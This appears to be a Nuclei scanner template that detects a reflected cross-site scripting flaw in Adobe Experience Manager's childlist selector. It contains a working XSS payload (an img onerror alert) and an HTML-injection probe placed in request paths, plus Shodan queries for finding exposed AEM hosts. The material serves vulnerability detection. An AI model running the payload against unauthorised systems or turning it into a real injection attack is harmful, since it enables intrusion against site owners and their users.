id: aem-xss-childlist

info:
  name: Adobe Experience Manager Childlist Selector - Cross-Site Scripting
  author: theabhinavgaur
  severity: medium
  description: |
    Adobe Experience Manager contains a cross-site scripting vulnerability via requests using the childlist selector when a dispatcher does not respect the content type responded by AEM and flips from application/json to text/html. As a consequence, the reflected suffix is executed and interpreted in the browser.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80
  metadata:
    verified: true
    max-request: 2
    shodan-query:
      - http.title:"AEM Sign In"
      - http.component:"Adobe Experience Manager"
  tags: xss,aem,adobe,misconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{rand_base(4)}}<img src=x data'a'onerror=alert(domain)>.childrenlist.html"
      - "{{BaseURL}}/{{rand_base(4)}}<br><br>please%20authenticate<br><br>.childrenlist.html"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src="x" data onerror="alert(domain)"/>'
          - '<br /><br />please authenticate<br /><br />'
        condition: or

      - type: word
        part: body
        words:
          - 'data-coral-columnview-id'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

# digest: 4a0a00473045022100ea901d01b02a06ee948fb8452ddf1936c377d4006e2ca155085a17be6a37146502203245bd45cb13c228f5bbd013c7157d8ed9d98e3671068621b999ad3bded15e5d:922c64590222798bb761d5b6d8e72950
